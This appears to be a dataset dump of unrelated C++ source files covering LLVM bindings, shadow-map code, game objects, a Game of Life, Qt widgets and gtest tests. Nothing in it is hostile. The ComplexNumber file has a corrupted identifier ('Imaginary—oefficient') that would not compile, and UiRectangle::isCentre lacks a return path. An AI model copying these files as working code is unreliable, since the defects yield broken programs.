text
stringlengths
8
6.88M
#include "Verifier.h" #include "Pass.h" #include "Module.h" #include "Function.h" #include <msclr/marshal_cppstd.h> using namespace LLVM; FunctionPass ^Verifier::createVerifierPass() { return FunctionPass::_wrap(llvm::createVerifierPass()); } FunctionPass ^Verifier::createVerifierPass(VerifierFailureAction action) { return FunctionPass::_wrap(llvm::createVerifierPass(safe_cast<llvm::VerifierFailureAction>(action))); } bool Verifier::verifyModule(const Module ^M) { return llvm::verifyModule(*M->base); } bool Verifier::verifyModule(const Module ^M, VerifierFailureAction action) { return llvm::verifyModule(*M->base, safe_cast<llvm::VerifierFailureAction>(action)); } bool Verifier::verifyModule(const Module ^M, VerifierFailureAction action, System::String ^%ErrorInfo) { std::string err; auto r = llvm::verifyModule(*M->base, safe_cast<llvm::VerifierFailureAction>(action), &err); ErrorInfo = msclr::interop::marshal_as<System::String ^>(err); return r; } bool Verifier::verifyFunction(const Function ^F) { return llvm::verifyFunction(*F->base); } bool Verifier::verifyFunction(const Function ^F, VerifierFailureAction action) { return llvm::verifyFunction(*F->base, safe_cast<llvm::VerifierFailureAction>(action)); }
#include "CompressedShadowUtil.h" /* For cout debugging :-) */ #include <iostream> #include <glm/ext.hpp> using namespace std; using namespace cs; static uint depthOffset = 1; void cs::setDepthOffset(uint off) { depthOffset = off; } inline uint getLevelHeight(const MinMaxHierarchy& minMax, uint level) { return minMax.getLevel(level)->getHeight() * depthOffset; } uint cs::createChildmask(const MinMaxHierarchy& minMax, uint level, const ivec3& offset) { auto levelHeight = getLevelHeight(minMax, level); uint childmask = 0; for (uint z = 0; z < 2; ++z) { for (uint y = 0; y < 2; ++y) { for (uint x = 0; x < 2; ++x) { uint offZ = z + offset.z; uint offY = y + offset.y; uint offX = x + offset.x; auto min = minMax.getMin(level, offX, offY); auto max = minMax.getMax(level, offX, offY); uint bits; if (level > 0) { bits = visible(offZ, offZ + 1, min * levelHeight, max * levelHeight); } else { // At level 0 we want to be sure about the visibility assert(abs(min - max) < 1e-6f); bits = absoluteVisible(offZ, offZ + 1, min * levelHeight); } /* Combine x, y, z to get the index of the child we just calculated the visibility for */ uint childNr = x; childNr |= y << 1; childNr |= z << 2; /* Now set the two bits we've just calculated at the right position */ childmask |= bits << (childNr * 2); } } } return childmask; } /** * Calculates a 64-bit leafmask which stores 8x8x1 visibility values (visible, shadow but not partial). */ inline uint64 createLeafmask(const MinMaxHierarchy& minMax, const ivec3& offset) { auto levelHeight = getLevelHeight(minMax, 0); uint64 leafmask = 0; uint index = 0; for (uint y = 0; y < 8; ++y) { float offY = offset.y + y; for (uint x = 0; x < 8; ++x) { float offX = offset.x + x; auto min = minMax.getMin(0, offX, offY); uint64 bit = absoluteVisible(offset.z, offset.z + 1, min * levelHeight); leafmask |= bit << index; ++index; } } return leafmask; } std::pair<uint, vector<uint64>> cs::createChildmask1x1x8(const MinMaxHierarchy& minMax, const ivec3& offset) { ivec3 offCorrected = offset * 4; uint childmask = 0; vector<uint64> masks; for (uint z = 0; z < 8; ++z) { uint64 leafmask = createLeafmask(minMax, offCorrected); ++offCorrected.z; if (leafmask == 0xFFFFFFFFFFFFFFFF) childmask |= 1 << (z * 2); else if (leafmask == 0x0) childmask |= 0 << (z * 2); else { childmask |= 0x2 << (z * 2); masks.push_back(leafmask); } } return make_pair(childmask, masks); } vector<ivec3> cs::getChildCoordinates(uint childmask, const ivec3& parentOffset) { vector<ivec3> result; for (uint i = 0; i < 8; ++i) { if (isPartial(childmask, i)) { /* Decide whether to add 1 in the x, y, z direction. * This code relies on the order of the children (and has to...) */ uint maskX = (0x1 & i) ? 1 : 0; // maskX is 1 <=> i is 1, 3, 5, 7 uint maskY = (0x2 & i) ? 1 : 0; // maskY is 1 <=> i is 2, 3, 6, 7 uint maskZ = (0x4 & i) ? 1 : 0; // maskZ is 1 <=> i is 4, 5, 6, 7 result.emplace_back(ivec3((parentOffset.x + maskX) * 2, (parentOffset.y + maskY) * 2, (parentOffset.z + maskZ) * 2)); } } return result; }
#pragma once #include <CCApplication.h> class GtCocos2DApp : private cocos2d::CCApplication { public: GtCocos2DApp(void); virtual ~GtCocos2DApp(void); /** @brief Implement for initialize OpenGL instance, set source path, etc... */ virtual bool initInstance(); /** @brief Implement CCDirector and CCScene init code here. @return true Initialize success, app continue. @return false Initialize failed, app terminate. */ virtual bool applicationDidFinishLaunching(); /** @brief The function be called when the application enter background @param the pointer of the application */ virtual void applicationDidEnterBackground(); /** @brief The function be called when the application enter foreground @param the pointer of the application */ virtual void applicationWillEnterForeground(); };
#include "ComplexNumber.h" ComplexNumber::ComplexNumber() { this->Real = 0; this->Imaginary—oefficient = 0; this->MathematicalNotation = ""; } ComplexNumber::ComplexNumber(double Rm, double Im) { this->Real = Rm; this->Imaginary—oefficient = Im; this->update_MathematicalNotation(); } double& ComplexNumber::get_Rm() { return this->Real; } double& ComplexNumber::get_Im() { return this->Imaginary—oefficient; } void ComplexNumber::set_Rm(double Rm) { this->Real = Rm; this->update_MathematicalNotation(); } void ComplexNumber::set_Im(double Im) { this->Imaginary—oefficient = Im; this->update_MathematicalNotation(); } void ComplexNumber::rand_value() { this->Real = rand() % 15 + 1; this->Imaginary—oefficient = rand() % 15 + 1; this->update_MathematicalNotation(); } ComplexNumber& ComplexNumber::operator=(ComplexNumber& Right) { this->Imaginary—oefficient = Right.Imaginary—oefficient; this->Real = Right.Real; this->MathematicalNotation = Right.MathematicalNotation; return *this; } void ComplexNumber::update_MathematicalNotation() { this->MathematicalNotation = std::to_string(this->Real) + ' '; if (this->Imaginary—oefficient < 0) this->MathematicalNotation += "- " + std::to_string(abs(this->Imaginary—oefficient)) + 'i'; else this->MathematicalNotation += "+ " + std::to_string(this->Imaginary—oefficient) + 'i'; } std::ostream& operator<<(std::ostream& OurStream, ComplexNumber& OurObj) { try { if (OurObj.MathematicalNotation.empty())throw "0"; OurStream << OurObj.MathematicalNotation; } catch (const char* ExceptionString) { OurStream << ExceptionString; } return OurStream; } std::istream& operator>>(std::istream& OurStream, ComplexNumber& OurObj) { std::cout << "Please input Real: "; OurStream >> OurObj.Real; std::cout << "Please input Imaginary—oefficient: "; OurStream >> OurObj.Imaginary—oefficient; OurObj.update_MathematicalNotation(); return OurStream; } ComplexNumber& operator-(ComplexNumber& Left, ComplexNumber& Right) { static ComplexNumber Result; Result.set_Im(Left.get_Im() - Right.get_Im()); Result.set_Rm(Left.get_Rm() - Right.get_Rm()); return Result; }
#include "stdafx.h" #include "DeathBarrier.h" #include "PhysxManager.h" #include "Components.h" #include "../OverlordProject/CourseObjects/Week 2/Character.h" #include "SoundManager.h" #include "Barrel.h" DeathBarrier::DeathBarrier(DirectX::XMFLOAT3 position, float length, float width): m_Position(position), m_Length(length), m_Width(width) { } void DeathBarrier::Initialize(const GameContext& gameContext) { SetTag(L"DeathBarrier"); UNREFERENCED_PARAMETER(gameContext); auto pRigidBody = new RigidBodyComponent(true); pRigidBody->SetCollisionGroup(Group2); pRigidBody->SetCollisionIgnoreGroups(Group0); AddComponent(pRigidBody); auto physx = PhysxManager::GetInstance()->GetPhysics(); auto pDefaultMaterial = physx->createMaterial(0.f, 0.f, 0.f); std::shared_ptr<physx::PxGeometry> boxGeom(new physx::PxBoxGeometry(m_Length, 2.f, m_Width)); const auto collider = new ColliderComponent(boxGeom, *pDefaultMaterial); AddComponent(collider); GetTransform()->Translate(m_Position); SetOnTriggerCallBack(PhysicsCallback{[this](GameObject* trigger, GameObject* other, GameObject::TriggerAction action) { if (action == GameObject::TriggerAction::ENTER) { if (trigger != other) { Character* player = dynamic_cast<Character*>(other); if (player) { player->TakeDamage(10, true); FMOD::Sound* pSound; FMOD_RESULT sound; sound = SoundManager::GetInstance()->GetSystem()->createSound("./Resources/Sounds/Splash.wav", FMOD_DEFAULT,NULL, &pSound); UNREFERENCED_PARAMETER(sound); SoundManager::GetInstance()->GetSystem()->playSound(pSound, NULL, false, 0); } else { Barrel* barrel = dynamic_cast<Barrel*>(other); if (barrel) { if (barrel->GetDistanceToPlayer() < 50.f) { FMOD::Sound* pSound; FMOD_RESULT sound; sound = SoundManager::GetInstance()->GetSystem()->createSound("./Resources/Sounds/Splash.wav", FMOD_DEFAULT,NULL, &pSound); UNREFERENCED_PARAMETER(sound); SoundManager::GetInstance()->GetSystem()->playSound(pSound, NULL, false, 0); FMOD::Sound* pSound2; FMOD_RESULT sound2; sound2 = SoundManager::GetInstance()->GetSystem()->createSound("./Resources/Sounds/Explosion.wav", FMOD_DEFAULT,NULL, &pSound2); UNREFERENCED_PARAMETER(sound2); SoundManager::GetInstance()->GetSystem()->playSound(pSound2, NULL, false, 0); } barrel->Destroy(); } } } } } }); collider->EnableTrigger(true); }
#include <iostream> #include <string> #include <string.h> #include "Mystring.h" using namespace std; int main() { string s; string s2("abcdefg"); cout << s << s2 << endl; Mystring ms; Mystring ms2("china"); cout << s << s2 << endl; Mystring x = "aaa", y = "bbb"; Mystring z = x + y; z.c_str(); return 0; }
#pragma once #include <cmath> #include <utility> using namespace std; namespace geo { inline const double EPSILON = 1e-6; struct Coordinates { double lat; // Широта double lng; // Долгота bool operator==(const Coordinates& lhs) const noexcept { return pair(fabs(this->lat - lhs.lat), fabs(this->lng - lhs.lng)) < pair(EPSILON, EPSILON); } }; bool IsZero(double value); double compute_distance(Coordinates from, Coordinates to); } // namespace geo
/** * @file * @brief アプリケーションのエントリポイント */ #include <iostream> #include <cstdlib> using namespace std; const int RowCount = 20; const int ColumnCount = 30; char world[RowCount][ColumnCount] = {}; char nextWorld[RowCount][ColumnCount] = {}; static void update(); static void addScore(int row, int column); static void draw(); static bool isAlive(int row, int column); static int random(int max, int min = 0) { return static_cast<long long>(::rand()) * (max - min) / RAND_MAX + min; } /** * @brief ライフゲームのボードを表示する * @return */ int main() { // unsigned seed = 512; // ::srand(seed); // int count = 100; // while (count--) // { // world[random(RowCount)][random(ColumnCount)] = 5; // } world[10][10] = 5; world[10][11] = 5; world[10][14] = 5; world[10][15] = 5; world[10][16] = 5; world[8][11] = 5; world[9][13] = 5; char c = 100; while (c--) { draw(); update(); ::usleep(500000); } return EXIT_SUCCESS; } /** * @brief 各セルの状態を1世代進める * @note * 生きているセルを基準に更新する。 */ void update() { for (int i = 0; i < RowCount; ++i) for (int j = 0; j < ColumnCount; ++j) if (isAlive(i, j)) addScore(i, j); memcpy(world, nextWorld, sizeof(world)); memset(nextWorld, 0, sizeof(nextWorld)); } void draw() { for (int i = 0; i < RowCount; ++i) { for (int j = 0; j < ColumnCount; ++j) putchar(isAlive(i, j) ? '#' : '_'); putchar('\n'); } putchar('\n'); fflush(stdout); } bool valid(int row, int column) { return row >= 0 && row < RowCount && column >= 0 && column < ColumnCount; } void addScore(int row, int column) { for (int i = -1; i <= 1; ++i) for (int j = -1; j <= 1; ++j) if (valid(row + i, column + j)) nextWorld[row + i][column + j] += 2; nextWorld[row][column] -= 1; } bool isAlive(int row, int column) { switch (world[row][column]) { case 5: case 6: case 7: return true; default: return false; } }
#pragma once #include "stdafx.h" #include "Utility.h" typedef std::vector<vec3d> arrayvec3d; typedef std::vector<vec3i> arrayvec3i; /************************************************************************/ /* Edge -> Data structure edege */ /************************************************************************/ struct edge { int p1, p2; edge() { p1 = 0; p2 = 0; } edge(int p1, int p2) { this->p1 = p1; this->p2 = p2; } int operator [](int i) { assert(i==0||i==1); if(i==0) return p1; else return p2; } bool operator ==(edge e) { if((p1 == e.p1 && p2 == e.p2) || (p1 == e.p2 && p2 == e.p1)) return true; else return false; } }; /************************************************************************/ /* Data structure - keep the info of parallel surface in preprocessing * Orthogonal to z-axis * Used to determine center point /************************************************************************/ struct latticeSlice { vec3d origin; // coordinate of original point // Preprocessing vec3d centerNorm; // Normal vector vec3d centerPoint; // Center point arrayvec3d latticePoints; // 6 lattice points latticeSlice(){}; void CalculateCenterPoint(arrayvec3d intersectPoints) { assert(intersectPoints.size() > 0); float minX, maxX, minY, maxY, minZ, maxZ; minX = maxX = intersectPoints[0].x; minY = maxY = intersectPoints[0].y; maxZ = minZ = intersectPoints[0].z; for (int i = 0; i < intersectPoints.size(); i++) { if(minX > intersectPoints[i].x)minX = intersectPoints[i].x; if(maxX < intersectPoints[i].x)maxX = intersectPoints[i].x; if(minY > intersectPoints[i].y)minY = intersectPoints[i].y; if(maxY < intersectPoints[i].y)maxY = intersectPoints[i].y; if(minZ > intersectPoints[i].z)minZ = intersectPoints[i].z; if(maxZ < intersectPoints[i].z)maxZ = intersectPoints[i].z; } centerPoint = vec3d((minX+maxX)/2, (minY + maxY)/2, (minZ+maxZ)/2); } void drawCenterLine() { glColor3f(0.0,0.0,1.0); glBegin(GL_LINES); for (int i =0; i< latticePoints.size(); i++) { glVertex3f(centerPoint.x, centerPoint.y, centerPoint.z); glVertex3f(latticePoints.at(i).x, latticePoints.at(i).y,latticePoints.at(i).z); } glEnd(); glColor3f(0.0,0.0,1.0); glPointSize(4); glBegin(GL_POINTS); for (int i =0; i< latticePoints.size(); i++) { glVertex3f(latticePoints.at(i).x, latticePoints.at(i).y,latticePoints.at(i).z); } glEnd(); glLineWidth(2.0); glColor3f(0.0,0.0,1.0); glBegin(GL_LINE_LOOP); for (int i =0; i< latticePoints.size(); i++) { glVertex3f(latticePoints.at(i).x, latticePoints.at(i).y,latticePoints.at(i).z); } glEnd(); glLineWidth(1.0); } void calculateNormFromLattice() { vec3d p1 = latticePoints[1] - latticePoints[0]; vec3d p2 = latticePoints[2] - latticePoints[1]; vec3d n = p1.cross(p2); n.normalize(); centerNorm = n; } void write(FILE* f) { Utility::writeVector(f, centerPoint); Utility::writeVector(f, centerNorm); Utility::writeArray(f, latticePoints); } void read(FILE *f) { centerPoint = Utility::readVector(f); centerNorm = Utility::readVector(f); latticePoints = Utility::readArray(f); } void writeMaple(FILE* f) { Utility::writeVector(f, centerPoint); for (int i = 0; i < latticePoints.size(); i++) { Utility::writeVector(f,latticePoints[i]); } } }; /************************************************************************/ /* Center line data */ /************************************************************************/ struct slice { //Centerline data - This is ray-casting data vec3d centerPoint; // Coordinate of center point vec3d centerNorm; // Normal vector of slice surface std::vector<int> pointIndex; // index of points lie in this slice arrayvec3d interSectRay; // Set of points on object surface arrayvec3d localCoordSet; // Local coordinate uvw set arrayvec3i latticeIndexSet; // index of lattice cell where the point lie in int index[2]; //Bound index of lattice std::vector<int> texPointIdxs; // Index of texture point on Ring slice(){} void write(FILE* f) { Utility::writeVector(f, centerPoint); Utility::writeVector(f,centerNorm); Utility::writeArray(f, interSectRay); fprintf(f,"%d %d\n", index[0], index[1]); } void read(FILE* f) { centerPoint = Utility::readVector(f); centerNorm = Utility::readVector(f); interSectRay = Utility::readArray(f); fscanf(f, "%d %d", &index[0], &index[1]); } void readLocalCoord(FILE* f) { this->localCoordSet = Utility::readArray(f); this->latticeIndexSet = Utility::readVec3iArray(f); } void writeMaple(FILE* f) { Utility::writeVector(f, centerPoint); Utility::writeVector(f,vec3d(index[0], index[1], 0.0)); for (int i = 0; i < interSectRay.size(); i++) { Utility::writeVector(f,interSectRay[i]); } } void writeERCP(FILE* f) { for (int i = 0; i< localCoordSet.size(); i++) { int ii, jj; vec3i index = latticeIndexSet[i]; vec3d coordC= localCoordSet[i]; ii = index[0]*7; //Center point coord jj = index[0]*7 + index[1]; fprintf(f, "%d %d %lf %lf %lf \n", index[0], index[1], coordC[0], coordC[1], coordC[2]); } } };
#pragma once #include "Drawer.h" #include "InputChecker.h" #include "Sounder.h" #include "GameStartManager.h" #include "GameMainManager.h" #include "GameResultManager.h" enum GameStatus { //シーン GAME_START, GAME_MAIN, GAME_RESULT }; //==シーン全体(ゲーム全体)を管理するクラス class GameManager{ Drawer _drawer; //ここでDrawer, InputChecker, Sounderを宣言して参照を各シーンに渡すようにする InputChecker _inputChecker; Sounder _sounder; SceneManager* _sceneManager; GameStatus _gameStatus; //現在のシーンを表す変数 public: //---------------------------------- //コンストラクタ・デストラクタ GameManager( ); ~GameManager( ); //---------------------------------- //---------------------------------- //----------------------------------- //--ゲッター InputChecker* GetInputChecker( ); //----------------------------------- //----------------------------------- //----------------------------------- //--セッター //----------------------------------- //----------------------------------- void Main( ); //--メイン関数 };
#include "double_tree_view.hpp" #include <cmath> #include <cstdlib> #include <map> #include <set> #include "gmock/gmock.h" #include "gtest/gtest.h" #include "space/initial_triangulation.hpp" #include "time/bases.hpp" using namespace space; using namespace datastructures; using ::testing::AllOf; using ::testing::Each; using ::testing::Eq; using Time::OrthonormalWaveletFn; using Time::ThreePointWaveletFn; constexpr int max_level = 5; TEST(DoubleTreeView, project) { auto T = InitialTriangulation::UnitSquare(); T.elem_tree.UniformRefine(max_level); auto elements = T.elem_meta_root->Bfs(); auto vertices = T.vertex_meta_root->Bfs(); auto db_tree = DoubleTreeView<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); db_tree.DeepRefine(); // Project on the first axis. auto dt_proj_0 = db_tree.Project_0(); auto dt_proj_0_nodes = dt_proj_0->Bfs(); ASSERT_EQ(dt_proj_0_nodes.size(), vertices.size()); for (size_t i = 0; i < vertices.size(); ++i) ASSERT_EQ(dt_proj_0_nodes[i]->node(), vertices[i]); // Project on the second axis. auto dt_proj_1 = db_tree.Project_1(); auto dt_proj_1_nodes = dt_proj_1->Bfs(); ASSERT_EQ(dt_proj_1_nodes.size(), elements.size()); for (size_t i = 0; i < elements.size(); ++i) ASSERT_EQ(dt_proj_1_nodes[i]->node(), elements[i]); } TEST(DoubleTreeView, Union) { auto T = InitialTriangulation::UnitSquare(); T.elem_tree.UniformRefine(max_level); auto elements = T.elem_meta_root->Bfs(); auto vertices = T.vertex_meta_root->Bfs(); auto from_tree = DoubleTreeView<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); from_tree.DeepRefine(); from_tree.ComputeFibers(); auto to_tree = DoubleTreeView<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); // Copy axis 0 into `to_tree`. to_tree.Project_0()->Union(from_tree.Project_0()); ASSERT_EQ(to_tree.Project_0()->Bfs().size(), vertices.size()); // Copy all subtrees in axis 1 into `to_tree`. for (auto item : to_tree.Project_0()->Bfs(true)) { item->FrozenOtherAxis()->Union(from_tree.Fiber_1(item->node())); } ASSERT_EQ(to_tree.Bfs().size(), from_tree.Bfs().size()); ASSERT_EQ(to_tree.root()->children(0)[0]->children(1)[0], to_tree.root()->children(1)[0]->children(0)[0]); } TEST(DoubleTreeVector, sum) { auto T = InitialTriangulation::UnitSquare(); T.elem_tree.UniformRefine(max_level); auto vec_sp = DoubleTreeVector<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); // Create a sparse DoubleTree Vector filled with random values. vec_sp.SparseRefine(4); for (const auto &nv : vec_sp.Bfs()) nv->set_random(); // Create a double tree uniformly refined with levels [1,4]. auto vec_unif = DoubleTreeVector<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); for (const auto &nv : vec_unif.Bfs()) nv->set_random(); // Create two empty vectors holding the sum. auto vec_0 = DoubleTreeVector<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); auto vec_1 = DoubleTreeVector<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); // vec_0 = vec_sp + vec_unif vec_0 += vec_sp; vec_0 += vec_unif; // vec_1 = vec_unif + vec_sp vec_1 += vec_unif; vec_1 += vec_sp; // Assert vec_0 == vec_1 auto vec_0_nodes = vec_0.Bfs(); auto vec_1_nodes = vec_1.Bfs(); ASSERT_EQ(vec_0_nodes.size(), vec_1_nodes.size()); for (size_t i = 0; i < vec_0_nodes.size(); ++i) ASSERT_EQ(vec_0_nodes[i]->value(), vec_1_nodes[i]->value()); // Assert that the sum domain is larger than the two vectors themselves. ASSERT_GE(vec_0_nodes.size(), std::max(vec_sp.Bfs().size(), vec_unif.Bfs().size())); // Calculate the sum by dict std::map<DoubleTreeVector<Vertex, Element2D>::Impl::TupleNodes, double> vec_dict; for (const auto &nv : vec_sp.Bfs()) vec_dict[nv->nodes()] = nv->value(); for (const auto &nv : vec_unif.Bfs()) vec_dict[nv->nodes()] += nv->value(); for (const auto &nv : vec_0_nodes) ASSERT_EQ(nv->value(), vec_dict[nv->nodes()]); } TEST(DoubleTreeVector, frozen_vector) { auto T = InitialTriangulation::UnitSquare(); T.elem_tree.UniformRefine(max_level); auto elements = T.elem_meta_root->Bfs(); auto vertices = T.vertex_meta_root->Bfs(); auto db_tree = DoubleTreeVector<Vertex, Element2D>(T.vertex_meta_root, T.elem_meta_root); db_tree.DeepRefine(); // Assert that main axis correspond to trees we've put in. auto dt_proj_0_nodes = db_tree.Project_0()->Bfs(); auto dt_proj_1_nodes = db_tree.Project_1()->Bfs(); ASSERT_EQ(dt_proj_0_nodes.size(), vertices.size()); ASSERT_EQ(dt_proj_1_nodes.size(), elements.size()); for (size_t i = 0; i < dt_proj_0_nodes.size(); ++i) ASSERT_EQ(dt_proj_0_nodes[i]->node(), vertices[i]); for (size_t i = 0; i < dt_proj_1_nodes.size(); ++i) ASSERT_EQ(dt_proj_1_nodes[i]->node(), elements[i]); // Initialize the vector ones. for (auto db_node : db_tree.Bfs()) db_node->set_value(1.0); for (auto db_node : db_tree.Bfs()) ASSERT_EQ(db_node->value(), 1.0); // Check that this also holds for the fibers. db_tree.ComputeFibers(); for (auto labda : db_tree.Project_0()->Bfs()) { auto fiber = db_tree.Fiber_1(labda->node()); for (auto f_node : fiber->Bfs()) ASSERT_EQ(f_node->value(), 1.0); } for (auto labda : db_tree.Project_1()->Bfs()) { auto fiber = db_tree.Fiber_0(labda->node()); for (auto f_node : fiber->Bfs()) ASSERT_EQ(f_node->value(), 1.0); } // Check that the to_array is correct. auto dt_np = db_tree.ToVector(); ASSERT_EQ(dt_np.size(), db_tree.Bfs().size()); for (size_t i = 0; i < dt_np.size(); ++i) ASSERT_EQ(dt_np[i], 1.0); // Check that copying works. auto db_tree_copy = db_tree.DeepCopy(); auto db_tree_copy_nodes = db_tree_copy.Bfs(); for (auto db_node : db_tree_copy_nodes) ASSERT_EQ(db_node->value(), 1.0); } TEST(Gradedness, FullTensor) { auto B = Time::Bases(); auto T = space::InitialTriangulation::UnitSquare(); T.hierarch_basis_tree.UniformRefine(6); B.ortho_tree.UniformRefine(6); B.three_point_tree.UniformRefine(6); for (int lvl_t = 0; lvl_t < 3; lvl_t++) { for (int lvl_x = 0; lvl_x < 6; lvl_x++) { auto X_delta = DoubleTreeView<ThreePointWaveletFn, HierarchicalBasisFn>( B.three_point_tree.meta_root(), T.hierarch_basis_tree.meta_root()); X_delta.UniformRefine({lvl_t, lvl_x}); ASSERT_EQ(X_delta.Gradedness(), lvl_x + 1); } } } TEST(Gradedness, SparseTensor) { auto B = Time::Bases(); auto T = space::InitialTriangulation::UnitSquare(); T.hierarch_basis_tree.UniformRefine(6); B.ortho_tree.UniformRefine(6); B.three_point_tree.UniformRefine(6); int level = 8; for (int L = 1; L < 5; L++) { auto X_delta = DoubleTreeView<ThreePointWaveletFn, HierarchicalBasisFn>( B.three_point_tree.meta_root(), T.hierarch_basis_tree.meta_root()); X_delta.SparseRefine(level, {L, 1}); ASSERT_EQ(X_delta.Gradedness(), L); } } TEST(XDelta, SparseRefine) { auto B = Time::Bases(); auto T = space::InitialTriangulation::UnitSquare(); B.three_point_tree.UniformRefine(max_level); T.hierarch_basis_tree.UniformRefine(2 * max_level); std::vector<int> n_lvl_t; std::vector<int> n_lvl_x; for (auto nodes : B.three_point_tree.NodesPerLevel()) n_lvl_t.push_back(nodes.size()); for (auto nodes : T.hierarch_basis_tree.NodesPerLevel()) n_lvl_x.push_back(nodes.size()); for (int L = 1; L <= max_level; L++) { // Reset the underlying trees. auto B = Time::Bases(); auto T = space::InitialTriangulation::UnitSquare(); auto X_delta = DoubleTreeView<ThreePointWaveletFn, HierarchicalBasisFn>( B.three_point_tree.meta_root(), T.hierarch_basis_tree.meta_root()); X_delta.SparseRefine(2 * L, {2, 1}, /* grow_tree */ true); auto ndofs = X_delta.Bfs().size(); size_t ndofs_expected = 0; for (int L_t = 0; L_t <= 2 * L; L_t++) for (int L_x = 0; L_x <= 2 * L; L_x++) if (2 * L_t + L_x <= 2 * L) ndofs_expected += n_lvl_t.at(L_t) * n_lvl_x.at(L_x); ASSERT_EQ(ndofs, ndofs_expected); } } TEST(XDelta, UniformRefine) { auto B = Time::Bases(); auto T = space::InitialTriangulation::UnitSquare(); B.three_point_tree.UniformRefine(max_level); T.hierarch_basis_tree.UniformRefine(2 * max_level); std::vector<int> n_t{0}; std::vector<int> n_x{0}; for (auto nodes : B.three_point_tree.NodesPerLevel()) n_t.push_back(nodes.size() + n_t.back()); for (auto nodes : T.hierarch_basis_tree.NodesPerLevel()) n_x.push_back(nodes.size() + n_x.back()); for (int L = 1; L <= max_level; L++) { // Reset the underlying trees. auto B = Time::Bases(); auto T = space::InitialTriangulation::UnitSquare(); auto X_delta = DoubleTreeView<ThreePointWaveletFn, HierarchicalBasisFn>( B.three_point_tree.meta_root(), T.hierarch_basis_tree.meta_root()); X_delta.UniformRefine({L, 2 * L}, /* grow_tree */ true); ASSERT_EQ(X_delta.Bfs().size(), n_t.at(L + 1) * n_x.at(2 * L + 1)); } }
/**************************************************************************************** * Copyright (c) 2010 * * Michael Boyd <mb109@doc.ic.ac.uk>, Dragos Carmaciu <dc2309@doc.ic.ac.uk>, * * Francis Giannaros <kg109@doc.ic.ac.uk>, Thomas Payne <tp1809@doc.ic.ac.uk> and * * William Snell <ws1309@doc.ic.ac.uk>. * * Students at Imperial College London <http://imperial.ac.uk/computing> * * * * This program is free software; you can redistribute it and/or modify it under * * the terms of the GNU General Public License as published by the Free Software * * Foundation; either version 2 of the License, or (at your option) any later * * version. * * * * This program is distributed in the hope that it will be useful, but WITHOUT ANY * * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A * * PARTICULAR PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with * * this program. If not, see <http://www.gnu.org/licenses/>. * ****************************************************************************************/ #include <QtGui> #include "uirectangle.h" using std::cout; using std::endl; static const float THRESHOLD = 3.0; static inline float MyAbs(float a) { return (a > 0 ? a : (0 - a)); } static inline float MaxValue(float a, float b) { return (a > b ? a : b); } static inline float MinValue(float a, float b) { return (a < b ? a : b); } static inline bool between(float mid, float low, float high) { if(mid < high && mid > low) { return true; } return false; } UiRectangle::UiRectangle(QWidget *parent) : UiElement(parent){ resize(parent->size()); activeColour = false; setRecColor(Qt::blue); setCirColor(Qt::green); setMouseTracking(true); } UiRectangle::UiRectangle(QWidget *parent, QPointF leftUp, QPointF rightDown) : UiElement(parent), _leftUp(leftUp), _rightDown(rightDown) { resize(parent->size()); activeColour = false; setRecColor(Qt::blue); setCirColor(Qt::green); setMouseTracking(true); } /* UiRectangle::~UiRectangle() { } */ void UiRectangle::paintEvent(QPaintEvent *) { QPainter painter(this); /* if(activeColour) painter.setPen(Qt::blue); else painter.setPen(Qt::green); */ painter.setPen(recColor); painter.drawRect(QRectF(_leftUp, _rightDown)); activeColour = !activeColour; /* if(activeColour) painter.setPen(Qt::blue); else painter.setPen(Qt::green); */ painter.setPen(cirColor); painter.drawEllipse(QRectF(_leftUp, _rightDown)); activeColour = !activeColour; } void UiRectangle::change() { _centre = QPointF(_leftUp.x() + (_rightDown.x() - _leftUp.x())/2.0,_leftUp.y() + (_rightDown.y() - _leftUp.y())/2.0); _leftUp = leftUpRect->centre(); _rightDown = rightDownRect->centre(); update(); } void UiRectangle::change(QPointF leftUp, QPointF rightDown) { _leftUp = leftUp; _rightDown = rightDown; _centre = QPointF(_leftUp.x() + (_rightDown.x() - _leftUp.x())/2.0,_leftUp.y() + (_rightDown.y() - _leftUp.y())/2.0); update(); } qreal UiRectangle::width() { return (_rightDown.x() - _leftUp.x()); } qreal UiRectangle::height() { return (_rightDown.y() - _leftUp.y()); } void UiRectangle::changeColour(bool i) { if(!i) activeColour = false; else activeColour = true; update(); } bool UiRectangle::withinRect(const QPointF &point) { // if(point.x() >= _leftUp.x() && point.y() >= _leftUp.y() && point.x() <= _rightDown.x() && point.y() <= _rightDown.y()) if(point.x() > _leftUp.x() && point.x() < _rightDown.x() && point.y() > _leftUp.y() && point.y() < _rightDown.y()) { cout<<"mouse move in uirectangle"<<endl; return true; } else { return false; } } bool UiRectangle::isCentre(const QPointF &point) { if(MyAbs(centre().x() - point.x()) < THRESHOLD && MyAbs(centre().y() - point.y()) < THRESHOLD) { cout<<"is centrl"<<endl; return true; } } int UiRectangle::isAngle(const QPointF &point) { if(MyAbs(_leftUp.x() - point.x()) < THRESHOLD && MyAbs(_leftUp.y() - point.y()) < THRESHOLD) { return 1; } else if(MyAbs(_rightDown.x() - point.x()) < THRESHOLD && MyAbs(_rightDown.y() - point.y()) < THRESHOLD) { return 2; } else if(false) { return 3; } else if(false) { return 4; } else { return 0; } } int UiRectangle::belongToEdge(const QPointF &point) { //be careful, this is compare of two float type value if(MyAbs(_leftUp.x() - point.x()) < THRESHOLD) { if(between(point.y(), MinValue(_leftUp.y(), _rightDown.y()), MaxValue(_leftUp.y(), _rightDown.y()))) { return 1; } return 0; } else if(MyAbs(_leftUp.y() - point.y()) < THRESHOLD) { if(between(point.x(), MinValue(_leftUp.x(), _rightDown.x()), MaxValue(_leftUp.x(), _rightDown.x()))) { return 2; } return 0; } else if(MyAbs(_rightDown.x() - point.x()) < THRESHOLD) { if(between(point.y(), MinValue(_leftUp.y(), _rightDown.y()), MaxValue(_leftUp.y(), _rightDown.y()))) { return 3; } return 0; } else if(MyAbs(_rightDown.y() - point.y()) < THRESHOLD) { if(between(point.x(), MinValue(_leftUp.x(), _rightDown.x()), MaxValue(_leftUp.x(), _rightDown.x()))) { return 4; } return 0; } else { return 0; } }
